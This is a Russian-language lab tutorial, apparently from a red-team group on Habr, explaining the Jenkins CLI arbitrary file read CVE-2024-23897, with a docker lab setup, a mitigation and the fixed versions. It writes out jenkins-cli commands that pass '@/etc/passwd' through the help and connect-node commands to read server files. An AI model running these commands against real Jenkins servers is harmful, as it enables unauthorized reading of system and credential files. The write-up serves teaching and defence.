Jenkins CVE-2024-23897

Введение

Jenkins — программная система с открытым исходным кодом на Java, предназначенная для обеспечения процесса непрерывной интеграции программного обеспечения.

25 января 2024 для версий Jenkins 2.441 и более ранних, а также в LTS 2.426.2 и ниже была выявлена уязвимость чтения произвольного файла через встроенный интерфейс командной строки (Jenkins CLI), которой был присвоен идентификатор CVE-2024–23897.

Особенностью парсера команд, использующегося в Jenkins, является замена символа »@» на содержимое файла, если путь к файлу следует за этим символом в аргументе команды. Эта функция активирована по умолчанию в версиях указанных выше.

Данная статья представлена исключительно в образовательных целях. Red Team сообщество «GISCYBERTEAM» не несёт ответственности за любые последствия ее использования третьими лицами.

Приступим к подготовке стенда.

Подготовка

Скачиваем дистрибутив Jenkins 2.441 с репозитория vulhub на GitHub.

Устанавливаем данный дистрибутив на ОС Linux с помощью docker-compose (в директории, где лежит файл docker-compose.yml):

docker-compose up -d

После установки у нас должна быть доступна панель управления Jenkins по адресу http://127.0.0.1:8080:

006432066e98c734c0d71519034a0c20.png

Далее можем приступить к разбору уязвимости чтения произвольных файлов.

Разбор уязвимости CVE-2024–23897

Для эксплуатации уязвимости нам необходим jenkins-cli, который лежит на нашем развернутом сервере по адресу http://127.0.0.1:8080/jnlpJars/jenkins-cli.jar

С помощью этой утилиты, мы будем отправлять команды на сервер. Для эксплуатации уязвимости, мы отправим следующую команду на сервер:

java -jar jenkins-cli.jar -s  -http help 1 "@/etc/passwd"

При использовании модуля help, как показано на примере выше, мы получим только первую строку в файле:

80637502742fb8116f5f48a4de0d9a48.png

В случае, если включен «Allow anonymous read access», мы можем использовать другой модуль, для доступа к полному контенту файла:

java -jar jenkins-cli.jar -s  -http connect-node 1 "@/etc/passwd"

e6e9ea396ef88ce80117c8f67ce40ee1.png

Меры защиты

В качестве временного решения для уязвимых версий, пока исправление не будет применено, рекомендуется отключить доступ к CLI.

Заключение

В текущей статье мы рассмотрели мощный CI/CD инструмент Jenkins, а также разобрали уязвимость CVE-2024–23897. Данная уязвимость была устранена в версиях Jenkins 2.442 и LTS 2.426.3 путём отключения функции синтаксического анализа команд.

Подписывайтесь на наш Telegram-канал https://t.me/giscyberteam

© Habrahabr.ru